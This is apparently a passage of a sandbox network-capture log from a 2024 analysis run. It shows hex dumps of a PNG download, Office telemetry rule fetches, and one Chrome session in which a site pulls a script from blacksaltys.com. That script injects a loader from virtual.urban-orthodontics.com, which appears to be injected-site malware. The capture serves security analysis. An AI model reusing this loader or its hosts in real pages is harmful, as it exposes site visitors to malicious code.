2024-10-07 12:10:28 UTC	7957	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 09 f6 00 00 03 80 08 06 00 00 00 72 cc b0 0c 00 00 0c 6c 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 52 49 68 01 04 a4 84 de 04 e9 04 90 12 42 0b 20 bd 08 36 42 12 48 28 31 26 04 15 3b ba a8 e0 da 45 14 2b ba 2a a2 d8 56 40 ec d8 95 45 b1 f7 c5 82 8a b2 2e ea 62 43 e5 4d 48 40 d7 7d e5 7b e7 fb e6 de 3f 67 ce fc a7 dc 99 dc 7b 00 d0 fa c0 93 4a f3 51 6d 00 0a 24 85 b2 c4 88 10 e6 a8 f4 0c 26 a9 03 20 40 03 90 80 0b 20 f3 f8 72 29 3b 3e 3e 06 40 19 b8 ff 5d de dd 80 d6 50 ae 3a 2b b9 fe 39 ff 5f 45 57 20 94 f3 01 40 c6 40 9c 25 90 f3 0b 20 3e 0e 00 be 96 2f 95 15 02 40 54 ea ad 26 15 4a 95 78 16 c4 7a 32 18 20 c4 2b 94 38 47 85 b7 2b 71 96 0a 1f ee b7 49 4e e4 40 Data Ascii: PNGIHDRrliCCPICC ProfileHWXS[RIhB 6BH(1&;E+*V@E.bCMH@}{?g{JQm$& @ r);>>@]P:+9_EW @@% >/@T&Jxz2 +8G+qIN@
2024-10-07 12:10:28 UTC	8000	IN	Data Raw: 31 04 64 e2 21 ef d4 54 83 78 2b b5 33 48 22 66 c5 10 90 89 87 bc 53 53 0d e2 ad d4 ce 20 89 98 15 43 40 26 1e f2 4e 4d 35 88 b7 52 3b 83 24 62 56 0c 01 99 78 c8 3b 35 d5 20 de 4a ed 0c 92 88 59 31 04 64 e2 21 ef d4 54 83 78 2b b5 33 48 22 66 c5 10 90 89 87 bc 53 53 0d e2 ad d4 ce 20 89 98 15 43 40 26 1e f2 4e 4d 35 88 b7 52 3b 83 24 62 56 0c 01 99 78 c8 3b 35 d5 20 de 4a ed 0c 92 88 59 31 04 64 e2 21 ef d4 54 83 78 2b b5 33 48 22 66 c5 10 90 89 87 bc 53 53 0d e2 ad d4 ce 20 89 98 15 43 40 26 1e f2 4e 4d 35 88 b7 52 3b 83 24 62 56 0c 01 99 78 c8 3b 35 d5 20 de 4a ed 0c 92 88 59 71 fc 6e e6 7f fd f9 33 ff eb ba f9 13 7c 9f 66 8d da 3f ec f7 6d bc 95 93 c9 5c 08 40 cc e9 2e 14 96 6f e3 ad 9c 4c e6 42 00 e2 35 6b 12 61 f9 36 de ca c9 64 2e 04 20 e6 74 17 0a Data Ascii: 1d!Tx+3H"fSS C@&NM5R;$bVx;5 JY1d!Tx+3H"fSS C@&NM5R;$bVx;5 JY1d!Tx+3H"fSS C@&NM5R;$bVx;5 JYqn3\|f?m\@.oLB5ka6d. t
2024-10-07 12:10:28 UTC	8000	IN	Data Raw: 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 Data Ascii: ;JYfhoe;JYfhoe;JYfhoe;JYfhoe;JYfhoe;JYfhoe;JYfhoe;JYfhoe;JYfhoe;JYfhoe;JYfhoe;
2024-10-07 12:10:28 UTC	8000	IN	Data Raw: 47 8c 69 7a fe ae 7f af bf b5 7b 7b ff 75 ff 99 9d 78 7d 46 bb e4 9c e8 fe 3b 2a d2 e7 df 2c 42 ac 8d 8f e7 c7 09 bb c7 7d a8 7d fe f6 f9 db e7 ef d8 23 7f c6 ff f5 f9 a3 0e d3 e7 4f 9f bf 63 31 ac f5 b0 8e 8e f7 f9 e1 47 d1 db 01 4b f4 11 fd f5 5f 7f fd db df 7f e8 ef bf cc 2e d3 e7 6f df 3f fa fe d5 f7 af 7d 3f 18 d7 85 fe fe 47 df bf fa fe b9 8e c6 fe fe 57 7f ff 6f 2c 04 9d 0e bb 49 d6 f0 f1 15 d6 1e f7 a1 f6 f7 ff fa fb 7f fd fd bf b1 47 fa eb 8f fe fa a3 bf fe d0 09 d3 f7 ef fe fa 63 2c 86 be 7f af a3 a1 ef df 7d ff de f7 e8 11 3e 3e 1f 37 ec e1 9e bb e8 56 ff 99 bf b1 af d0 4a 04 3e a6 4a 1a e7 7c d1 bc c7 11 e5 c0 20 a2 82 22 2b 11 a8 e6 47 86 93 79 89 b2 62 10 51 41 91 95 08 54 f3 23 c3 c9 bc 44 59 31 88 a8 a0 c8 4a 04 aa f9 91 e1 64 5e a2 ac 18 Data Ascii: Giz{{ux}F;*,B}}#Oc1GK_.o?}?GWo,IGc,}>>7VJ>J\| "+GybQAT#DY1Jd^
2024-10-07 12:10:28 UTC	8000	IN	Data Raw: b3 30 f5 fd 67 ad b9 33 3b d6 b5 07 fd c0 7b 60 f2 96 6e 17 67 c2 04 d9 db b4 1c 8e 20 13 51 e6 30 1f 98 7a 7c 8b 80 c7 45 82 93 30 41 c7 df c2 d4 eb bf ae b9 99 1d 63 7d 15 71 e0 3d 30 79 13 b7 8b 33 61 82 ce bf ce bf 5e 7f 96 03 73 45 54 5c 96 de 5c 54 d5 ac 8d d5 e3 76 71 26 4c 90 e3 4e cb ab 6b fc 1b 3b de fb 36 f9 bf f2 a9 ff 74 fb 99 4f fe 27 f6 ad 62 8f 6d 37 d7 8f 7a 14 ae f0 6d 7c b7 cf 6d ef 7d cf d3 db 47 3f fc ef 6e df ff b6 3f 69 3f c5 7b 65 df da 77 63 c7 6d df 0e 63 df b8 c4 e3 a6 44 43 c5 de 51 d9 1d 78 0f 4c de c4 ed e2 4c 98 20 c7 9a 96 1e 5f 63 51 42 3f 83 5a cd 67 0d dc 2e ce 84 09 3a fe 16 c9 be ff a9 6b 6e 66 47 4d b3 d0 0e bc 07 26 e7 ba 5d 9c 09 13 74 fe 75 fe f5 fa b3 1c 98 2b a2 e2 58 73 ba 57 e6 b0 1f 98 dc e3 76 71 26 4c 90 e3 Data Ascii: 0g3;{`ng Q0z\|E0Ac}q=0y3a^sET\\Tvq&LNk;6tO'bm7zm\|m}G?n?i?{ewcmcDCQxLL _cQB?Zg.:knfGM&]tu+XsWvq&L
2024-10-07 12:10:28 UTC	8000	IN	Data Raw: 52 49 48 43 05 c5 9d 4a 82 4a 3e d0 c8 e4 b8 94 49 25 21 0d 15 14 77 2a 09 2a f9 40 23 93 e3 52 26 95 84 34 54 50 dc a9 24 a8 e4 03 8d 4c 8e 4b 99 54 12 d2 50 41 71 a7 92 a0 92 0f 34 32 39 2e 65 52 49 48 43 05 c5 9d 4a 82 4a 3e d0 c8 e4 b8 94 49 25 21 0d 15 14 77 2a 09 2a f9 40 23 93 e3 52 26 95 84 34 54 50 dc a9 24 a8 e4 03 8d 4c 8e 4b 99 54 12 d2 50 41 71 a7 92 a0 92 0f 34 32 39 2e 65 52 49 48 43 05 c5 9d 4a 82 4a 3e d0 c8 e4 b8 94 49 25 21 0d 15 14 77 2a 09 2a f9 40 23 93 e3 52 26 95 84 34 54 50 dc a9 24 a8 e4 03 8d 4c 8e 4b 99 54 12 d2 50 41 71 a7 92 a0 92 0f 34 32 39 2e 65 52 49 48 43 05 c5 9d 4a 82 4a 3e d0 c8 e4 b8 94 49 25 21 0d 15 14 77 2a 09 2a f9 40 23 93 e3 52 26 95 84 34 54 50 dc a9 24 a8 e4 03 8d 4c 8e 4b 99 54 12 d2 50 41 71 a7 92 a0 92 0f Data Ascii: RIHCJJ>I%!w@#R&4TP$LKTPAq429.eRIHCJJ>I%!w@#R&4TP$LKTPAq429.eRIHCJJ>I%!w@#R&4TP$LKTPAq429.eRIHCJJ>I%!w@#R&4TP$LKTPAq
2024-10-07 12:10:28 UTC	8000	IN	Data Raw: b7 eb 6f d7 df 7d b5 60 1d 61 d5 a0 84 9d 98 92 dc bd 54 86 62 32 bb fe 74 fd e9 fa d3 f5 27 ea c1 71 85 e8 fb bf be ff 9b d7 1c 64 0a f3 84 92 57 93 bd 54 86 62 32 fb fa d3 d7 9f be fe f4 f5 27 ea c1 71 85 e8 eb cf d7 f3 fa 73 cf 4e cd 03 fb e7 df d8 f7 09 fb c6 be eb c7 ed c1 be c7 ed 22 30 be b1 6f 7b 7e 7b ef bb f0 53 bc 3f 6e 3f c5 fb 96 f9 53 bc 7e 4a f5 8c 2a 8e f3 8d 2b 49 d7 bf ae 7f 5d ff 62 3d 1c af 90 ae 7f 5f cf fa c7 73 42 89 33 45 4c c9 6a b6 97 ca 50 4c 66 d7 bf ae ff 5d ff bb fe 47 3d 38 ae 10 af be fa 2f df d8 37 0e c9 85 1e 9e da 71 f0 ea 63 71 7c e9 32 5b 1b 28 bf e7 cd 7e 9d 90 ac 39 5e 9a 12 bc f4 41 85 99 ad 0d f4 f8 91 b0 11 9e 11 19 17 19 a5 af 7a fc 79 6a 6e c6 f9 bf b2 a1 af b0 f3 67 6c b1 1f 38 4d 09 d8 f4 65 c9 6c 6d e0 95 74 Data Ascii: o}`aTb2t'qdWTb2'qsN"0o{~{S?n?S~J*+I]b=_sB3ELjPLf]G=8/7qcq\|2[(~9^Azyjngl8Melmt
2024-10-07 12:10:28 UTC	8000	IN	Data Raw: e7 ec 0c 27 c6 f5 07 33 41 fc a3 31 3a 35 27 6c b6 b7 58 ce eb 4f 8c ef 34 c4 14 71 f6 49 c4 ba 05 df 7d d6 1a cc a8 95 c3 87 fe ca 36 98 9e 9c 63 7c 72 ac ef 60 db 1e 2e 4b 56 d4 a1 cd 3e 50 47 e2 c6 31 60 7c b3 21 fe 66 c1 3c b1 79 1a b9 1d 7e ce 17 63 61 20 e4 21 58 b6 19 07 34 34 43 0f 78 60 f8 2b cf bd b0 fd b3 7f fe 7b db 1f 7c f9 2b 61 37 2e c6 1d ab c1 1b e1 67 e9 7d 7c 9b a3 9f 2b 3c 2c 73 6b 57 15 cc 03 e7 d2 fd db f6 6d df fa c6 ed 2d 7f fc db ff 7f f6 de f3 6d af eb 38 ef 1d 34 a2 f7 de 01 12 04 c0 4e b1 48 a2 48 4a 2c 12 d5 1b 25 59 56 b5 6c ab d2 ce 91 73 72 3e 24 39 7f c0 b9 ae 5c b1 1d e7 9c 0f 89 1d db 71 95 1c 3b b2 3a 25 aa b0 f7 02 90 20 48 80 20 7a ef bd b7 73 ff ee 59 6b 3f fb 79 5e bc a6 9c 58 56 f1 bb 81 77 af 32 b3 66 66 cd 9a 55 Data Ascii: '3A1:5'lXO4qI}6c\|r`.KV>PG1`\|!f<y~ca !X44Cx`+{\|+a7.g}\|+<,skWm-m84NHHJ,%YVlsr>$9\q;:% H zsYk?y^XVw2ffU
2024-10-07 12:10:28 UTC	8000	IN	Data Raw: 54 10 f8 a7 f3 29 f3 71 b2 c8 31 a4 24 84 03 3b fd 6f 38 95 26 42 65 aa 8b f4 85 2e 0a 97 d4 67 49 14 b9 93 1e b4 91 27 71 f7 1c 3c 16 5b f4 a3 a9 af 7c ed 07 f1 e7 7f f3 2d 8d 25 c3 b5 49 77 91 9e 8d 64 39 3e 95 1d 83 c0 65 36 57 0f 59 14 2e 3a c5 5f cf 4f 43 f4 99 f9 61 3a 21 7d 84 1e b2 46 5c 34 28 66 ea d4 be 3b 74 ea dd eb af 59 aa 1f 9f cc d6 09 d3 63 dc 1f 91 b5 b0 75 7b 79 5d 26 32 34 4f b6 7f 4a ee 93 fc 54 9b c1 5a f7 5a 4a f7 75 da dd 2c 45 c3 ad 0c 35 fd cb 36 52 42 ba 51 dc 7f a4 d4 b6 c2 07 f7 8c 22 27 b5 ae de 73 f0 54 3c a7 cf ef fe f1 9f 7d 25 9e 5b fe 92 d6 bc e5 54 4c d1 9f 33 73 62 2c 5d 30 53 8e f8 b7 c5 fb e5 d8 07 2b e4 62 2a df a7 1f c7 2c 5f bd 3d 1e d0 7a e0 3b f7 de 1f 3b 76 e8 73 c5 7a bf c2 b9 ae 83 ce 9e 8a cf 7e 86 13 fb ee Data Ascii: T)q1$;o8&Be.gI'q<[\|-%Iwd9>e6WY.:_OCa:!}F\4(f;tYcu{y]&24OJTZZJu,E56RBQ"'sT<}%[TL3sb,]0S+b*,_=z;;vsz~
2024-10-07 12:10:28 UTC	8000	IN	Data Raw: 9e f3 af 42 bf 78 cb f9 c5 8a 2f ed e0 b5 b0 da 34 d7 df 75 d6 68 91 05 b9 8b 4f 2b d1 8a 9a 66 2f 6a 2d 58 f1 6a 58 91 9b 30 01 15 5c c3 1e 70 49 b6 a0 ad 68 c5 ed ce 2a a9 9a 59 c3 8a dc 84 09 a8 e0 1a f6 80 4b b2 05 6d 45 2b 6e 77 56 49 d5 cc 1a 56 e4 26 4c 40 05 d7 b0 0d 76 97 f7 3c 2e a8 13 82 16 44 d6 01 80 bc 5a 23 6c a5 79 ff c1 8f 0e b0 8c fc 6f 44 90 5b 97 e0 2d fb 63 0c 49 f3 e0 4e 39 85 fd f4 ff 8e fd 61 5b f5 99 b2 92 ee d8 9f f1 60 5d ec ae 62 10 fe 43 fd 7f 80 ff 4f a6 ff ea 8c 87 c6 3b 2a ee d6 bf 21 1d 60 67 dd e8 b6 d5 ea 51 30 de 17 b3 2e 1b cc 78 01 2d 82 9e f6 67 4c f1 75 81 f6 ec ce 2a a9 9a 59 c3 2c dd ba 27 a0 82 6b d8 20 74 65 b4 12 ad 68 c5 ed ce 2a a9 9a 59 c3 8a dc 84 09 a8 e0 1a f6 80 4b b2 05 6d 45 2b 2e 59 ac 93 d9 c3 fa bd Data Ascii: Bx/4uhO+f/j-XjX0\pIhYKmE+nwVIV&L@v<.DZ#lyoD[-cIN9a[`]bCO;!`gQ0.x-gLuY,'k tehYKmE+.Y

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49850	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:28 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:28 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: c2d0a885-201e-0003-7ced-16f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121028Z-1657d5bbd487nf59mzf5b3gk8n000000030000000000f2em x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:28 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	49852	77.232.36.155	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:28 UTC	560	OUT	GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1 Host: blacksaltys.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:28 UTC	299	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 12:10:28 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 227 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 07 Oct 2024 12:10:28 GMT Vary: Accept-Encoding Access-Control-Allow-Origin: *
2024-10-07 12:10:28 UTC	227	IN	Data Raw: 3b 28 66 75 6e 63 74 69 6f 6e 28 75 2c 71 2c 79 2c 64 2c 6e 29 7b 64 3d 75 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 71 29 3b 6e 3d 75 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 71 29 5b 30 5d 3b 64 2e 61 73 79 6e 63 3d 31 3b 64 2e 73 72 63 3d 79 3b 6e 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 64 2c 6e 29 3b 7d 29 28 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 76 69 72 74 75 61 6c 2e 75 72 62 61 6e 2d 6f 72 74 68 6f 64 6f 6e 74 69 63 73 2e 63 6f 6d 2f 53 7a 6c 70 6e 54 41 62 43 76 51 76 47 31 4f 76 66 51 70 46 76 7a 6b 62 55 37 38 78 51 41 58 37 4f 31 73 66 76 7a 59 3d 27 29 3b Data Ascii: ;(function(u,q,y,d,n){d=u.createElement(q);n=u.getElementsByTagName(q)[0];d.async=1;d.src=y;n.parentNode.insertBefore(d,n);})(document,'script','https://virtual.urban-orthodontics.com/SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY=');

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49851	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:28 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:28 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 5a59384b-a01e-0053-3602-178603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121028Z-1657d5bbd482tlqpvyz9e93p5400000003mg000000004zaq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:28 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49853	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:28 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:28 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: d3d0b776-b01e-003d-1803-17d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121028Z-1657d5bbd48brl8we3nu8cxwgn00000003r000000000e2p6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:28 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49857	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:29 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 09392ef7-101e-0046-3f05-1791b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121029Z-1657d5bbd48cpbzgkvtewk0wu000000003hg00000000a20b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49858	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:29 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:29 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 20b36261-201e-006e-7102-17bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121029Z-1657d5bbd48xlwdx82gahegw4000000003n000000000d5cq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:29 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" 